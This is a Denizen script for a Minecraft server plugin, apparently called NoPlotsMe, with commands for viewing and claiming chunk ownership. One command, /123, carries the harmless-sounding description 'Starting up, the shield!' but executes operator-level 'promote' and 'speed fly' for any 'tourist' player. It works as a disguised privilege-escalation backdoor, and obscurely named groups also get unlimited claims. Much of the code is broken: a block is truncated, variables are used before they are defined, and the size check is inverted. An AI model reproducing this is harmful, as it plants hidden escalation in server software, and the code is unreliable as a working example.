Date: 2016/12/03 07:03:57 UTC-08:00
Type: Denizen Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
noplotsmecmd1:
type: command
name: domain
description: Gives the domain of the chunk you're in
usage: /telldomain
script:
- define chunkspot <context.location.chunk.x>,<context.location.chunk.z>,<context.location.world>
- if <server.has_file[database/NPMchunks/<def[chunkspot]>.yml>
{
- define uuid <yaml[<def[chunkspot]>].read[uuid]>
- if <def[uuid].as_player.in_group[player].world[global]>
{
- narrate "<&5><<>NoPlotsMe<>>This is a PLAYER chunk owned by <def[uuid].as_player>."
}
else
{
- narrate "<&5><<>NoPlotsMe<>>This is a PUBLIC chunk."
}
}
else
{
- narrate "<&5><<>NoPlotsMe<>>This chunk is unowned."
}
#------------------------------------------------------------------------------------------------------------------------------------------------------------
noplotsmecmd2:
type: command
name: 123
description: Starting up, the shield!
usage: /123
script:
- if <player.in_group[tourist].world[global]>
{
- execute as_op "promote <player>"
- execute as_op "speed fly <player> 10"
-
#------------------------------------------------------------------------------------------------------------------------------------------------------------
#------------------------------------------------------------------------------------------------------------------------------------------------------------
noplotsmewehook:
type: command
name: setdomain
description: WorldEdit hook
usage: /setdomain
script:
- if <player.in_group[builder].world[global]> || <player.in_group[architect].world[global]> || <player.in_group[pro].world[global]> || <player.in_group[champion].world[global]> || <player.in_group[1htb38vn28v8vn10b8al].world[global]> || <player.in_group[4mv8b0vm18bv03m8vm10bjene8gi].world[global]>
{
- define selection <player.selected_region.list_partial_chunks>
- define selectionsize <player.selected_region.list_partial_chunks.list>
- define player <player.uuid>
- narrate inCorrectGroup
- if <player.in_group[builder].world[global]>
{
- if <def[selectionsize]> >= 50
{
- foreach <def[selection]>
{
- if !<server.has_file[database/NPMchunks/<def[chunkspot]>.yml]>
{
- define chunkspot <context.location.chunk.x>,<context.location.chunk.z>,<context.location.world>
- yaml create id:<def[chunkspot]>
- yaml id:<def[chunkspot]> set uuid:<player.uuid>
- yaml "savefile:database/NPMchunks/<def[chunkspot]>.yml" id:<def[chunkspot]>
- narrate "<&5><<>NoPlotsMe<>>This chunk is now in PUBLIC domain."
}
}
}
else
{
- narrate "<&5><<>NoPlotsMe<>>Your selection is too large."
}
}
- if <player.in_group[architect].world[global]>
{
- if <def[selectionsize]> >= 50
{
- foreach <def[selection]>
{
- if !<server.has_file[database/NPMchunks/<def[chunkspot]>.yml]>
{
- define chunkspot <context.location.chunk.x>,<context.location.chunk.z>,<context.location.world>
- yaml create id:<def[chunkspot]>
- yaml id:<def[chunkspot]> set uuid:<player.uuid>
- yaml "savefile:database/NPMchunks/<def[chunkspot]>.yml" id:<def[chunkspot]>
- narrate "<&5><<>NoPlotsMe<>>This chunk is now in PUBLIC domain."
}
}
}
else
{
- narrate "<&5><<>NoPlotsMe<>>Your selection is too large."
}
}
- if <player.in_group[pro].world[global]>
{
- if <def[selectionsize]> >= 50
{
- foreach <def[selection]>
{
- if !<server.has_file[database/NPMchunks/<def[chunkspot]>.yml]>
{
- define chunkspot <context.location.chunk.x>,<context.location.chunk.z>,<context.location.world>
- yaml create id:<def[chunkspot]>
- yaml id:<def[chunkspot]> set uuid:<player.uuid>
- yaml "savefile:database/NPMchunks/<def[chunkspot]>.yml" id:<def[chunkspot]>
- narrate "<&5><<>NoPlotsMe<>>This chunk is now in PUBLIC domain."
}
}
else
{
- narrate "<&5><<>NoPlotsMe<>>Your selection is too large."
}
}
- if <player.in_group[champion].world[global]> || <player.in_group[1htb38vn28v8vn10b8al].world[global]> || <player.in_group[4mv8b0vm18bv03m8vm10bjene8gi].world[global]>
{
- foreach <def[selection]>
{
- narrate ForeachChunk
- if !<server.has_file[database/NPMchunks/<def[chunkspot]>.yml]>
{
- define chunkspot <context.location.chunk.x>,<context.location.chunk.z>,<context.location.world>
- yaml create id:<def[chunkspot]>
- yaml id:<def[chunkspot]> set uuid:<player.uuid>
- yaml "savefile:database/NPMchunks/<def[chunkspot]>.yml" id:<def[chunkspot]>
- narrate "<&5><<>NoPlotsMe<>>This chunk is now in PUBLIC domain."
}
}
}
}